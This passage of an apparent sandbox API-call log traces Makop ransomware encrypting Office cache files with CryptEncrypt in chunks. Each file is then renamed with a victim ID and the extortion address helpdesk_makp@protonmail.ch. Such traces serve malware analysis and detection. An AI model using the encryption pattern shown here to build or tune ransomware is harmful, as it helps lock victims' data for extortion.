dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.593] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.593] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.607] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.610] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.610] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.612] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.612] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.612] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.612] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.633] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.636] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.636] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.639] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.639] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.639] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6c9770, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.639] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.648] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.651] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6c9770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.651] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.653] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.654] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.654] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.654] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x709834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.654] SetEndOfFile (hFile=0x124) returned 1 [0081.661] GetProcessHeap () returned 0x48a0000 [0081.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0081.661] GetProcessHeap () returned 0x48a0000 [0081.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.661] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0081.662] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.663] CloseHandle (hObject=0x124) returned 1 [0081.663] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0081.663] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0081.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.667] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=36233052) returned 1 [0081.668] GetProcessHeap () returned 0x48a0000 [0081.668] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.668] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.668] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.668] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.675] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.675] GetProcessHeap () returned 0x48a0000 [0081.675] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.675] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0081.675] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.675] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0081.675] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.676] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0081.676] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0081.676] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.677] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.677] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.677] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.677] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.687] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.696] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.699] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.699] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.699] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.699] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.709] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.715] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.715] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.717] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.717] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.717] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.717] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.725] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.727] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.727] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.730] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.730] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.730] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.730] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.730] SetEndOfFile (hFile=0x124) returned 1 [0081.738] GetProcessHeap () returned 0x48a0000 [0081.738] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.738] GetProcessHeap () returned 0x48a0000 [0081.738] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.738] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0081.738] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.739] CloseHandle (hObject=0x124) returned 1 [0081.739] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0081.740] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0081.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.740] GetProcessHeap () returned 0x48a0000 [0081.740] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.740] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.740] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0081.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.741] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.741] GetProcessHeap () returned 0x48a0000 [0081.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.742] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0081.742] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.742] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0081.746] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0081.747] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0081.747] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0081.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.747] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0081.747] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.747] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.748] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x100000, lpOverlapped=0x0) returned 1 [0081.787] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x100000) returned 1 [0081.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.798] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x100000, lpOverlapped=0x0) returned 1 [0081.806] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.806] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0081.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.807] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65510, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x65510, lpOverlapped=0x0) returned 1 [0081.836] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x65510, dwBufLen=0x65510 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x65510) returned 1 [0081.841] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.841] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65510, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x65510, lpOverlapped=0x0) returned 1 [0081.844] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.844] SetEndOfFile (hFile=0x124) returned 1 [0081.854] GetProcessHeap () returned 0x48a0000 [0081.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.854] GetProcessHeap () returned 0x48a0000 [0081.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0081.855] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.856] CloseHandle (hObject=0x124) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0081.856] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.858] GetProcessHeap () returned 0x48a0000 [0081.858] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.859] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0081.859] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: 